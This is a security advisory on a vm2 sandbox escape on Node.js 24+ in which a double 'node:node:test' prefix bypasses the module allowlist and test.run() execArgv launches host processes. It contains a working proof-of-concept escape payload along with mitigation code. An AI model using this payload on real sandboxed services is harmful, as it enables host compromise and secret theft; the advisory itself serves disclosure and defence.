A critical sandbox escape vulnerability cataloged as CVE-2026-92948 (CVSS 9.8, GHSA-qhwx-74w5-xhxq) has been exposed in the vm2 sandboxing library affecting deployments running atop modern Node.js versions (v24 and newer). The defect allows untrusted guest code executing inside a NodeVM container to bypass builtin module allowlists via scheme normalization anomalies (node:node:test), reach Node's native test runner, and invoke run() with crafted execArgv parameters to spawn unrestricted child processes on the underlying host operating system.

The Node.js 24 Builtin Module Architecture Shift

In recent major releases of Node.js, the core engineering team transitioned several newly introduced standard modules—most notably the native test runner (node:test)—to scheme-only identifiers. Unlike legacy builtins like fs or http, scheme-only builtins cannot be required as bare names (e.g., require('test') fails, while require('node:test') succeeds).

To prevent sandboxed scripts from accessing dangerous operating system primitives, vm2 maintains an internal resolver that checks requested module strings against an embedder-defined allowlist:

// Embedder configuration allowing only test utilities:
const { NodeVM } = require('vm2');
const vm = new NodeVM({
  sandbox: {},
  require: {
    builtin: ['node:test'], // Embedder intends to allow test suite execution only
    external: false
  }
});

Root Cause: Prefix Normalization Failure & execArgv Propagation

The vulnerability comprises two distinct breakdowns:

  1. Double-Scheme Normalization Glitch: In vm2's module resolution pipeline, the sanitization logic evaluated whether a module name started with node: by performing a single prefix strip. When an attacker supplied require('node:node:test'), the outer node: was removed, but the remaining string node:test bypassed standard proxy wrapping while still resolving to the host's actual node:test instance via Node.js internal module loaders.
  2. Process Spawning via execArgv: The Node.js native test runner is designed to execute test files in isolated child processes to avoid test state pollution. The run() method accepts an options object containing execArgv, an array of command-line flags passed directly to child_process.fork():
// Proof-of-concept payload executed inside NodeVM:
const test = require('node:node:test');

// Trigger host process execution via --eval flag
test.run({
  files: [],
  execArgv: [
    '--eval',
    'require("fs").writeFileSync("/tmp/vm2_pwned.txt", "Host compromise confirmed: " + process.version)'
  ]
});

When test.run() initiates, the Node.js runtime constructs a new child process:

node --eval "require('fs').writeFileSync('/tmp/vm2_pwned.txt', 'Host compromise confirmed: ' + process.version)"

Because this new process is launched by the host runtime outside the V8 isolate and context wrappers created by vm2, it inherits full operating system credentials, unobstructed access to child_process, fs, net, and environment variables (including cloud IAM instance metadata and database secrets).

Runtime Component Sandboxed Guest State Escaped Host Process State
Process Identity Confined NodeVM Context Host Node Process UID/GID
Filesystem Access Blocked by vm2 Full Read/Write Access
Network Sockets Blocked by vm2 Unrestricted Ingress/Egress
Environment Variables Sanitized Sandbox Object Exposed (AWS_KEY, KUBE_TOKEN)

Strategic Defensive Measures

Organizations executing dynamic or user-submitted code in multi-tenant SaaS platforms must take immediate remediation action:

1. Deprecate In-Process JavaScript Sandboxing

The security engineering community has reached a consensus: pure JavaScript sandboxes sharing a V8 heap or Node.js runtime process cannot reliably defend against dynamic language introspection, prototype pollution, and builtin module escapes. Organizations should adopt:

  • isolate-vm: Leverages V8 C++ Isolates to provide memory and execution separation without exposing the Node.js standard library.
  • MicroVMs (AWS Firecracker / gVisor): Provides hardware-level KVM virtualization with sub-100ms startup times, guaranteeing kernel-level containment.

2. Immediate Mitigation for Legacy Deployments

If your systems cannot immediately retire vm2, remove node:test completely from all builtin allowlists and freeze Module._load to reject double-prefixed identifiers:

// Defensive check before initializing NodeVM:
const Module = require('module');
const originalLoad = Module._load;
Module._load = function(request, parent, isMain) {
  if (request.includes('node:node:') || request === 'node:test') {
    throw new Error('Access denied: prohibited builtin module identifier');
  }
  return originalLoad.apply(this, arguments);
};